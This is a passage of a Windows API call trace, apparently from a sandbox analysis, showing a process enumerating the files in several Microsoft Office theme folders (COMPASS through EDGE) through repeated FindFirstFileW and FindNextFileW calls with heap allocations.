cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0268.229] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.229] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.230] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.230] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.230] GetProcessHeap () returned 0x550000 [0268.230] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.230] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0268.230] GetProcessHeap () returned 0x550000 [0268.230] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.230] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.230] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0268.230] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0268.231] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.231] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.231] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.231] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.231] GetProcessHeap () returned 0x550000 [0268.231] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.231] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0268.231] GetProcessHeap () returned 0x550000 [0268.231] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.232] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.232] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0268.232] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0268.232] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.232] ResetEvent (hEvent=0xe0) returned 1 [0268.232] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.267] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.267] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.267] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.267] GetProcessHeap () returned 0x550000 [0268.267] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.267] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0268.267] GetProcessHeap () returned 0x550000 [0268.267] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.267] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.269] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.269] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0268.269] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0268.269] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.270] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.270] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.270] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.270] GetProcessHeap () returned 0x550000 [0268.270] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.270] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0268.270] GetProcessHeap () returned 0x550000 [0268.270] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.271] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.271] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0268.271] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0268.271] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.271] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.271] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.271] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.272] GetProcessHeap () returned 0x550000 [0268.272] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.272] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0268.272] GetProcessHeap () returned 0x550000 [0268.272] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.272] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.272] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0268.272] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0268.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.273] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.273] GetProcessHeap () returned 0x550000 [0268.273] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 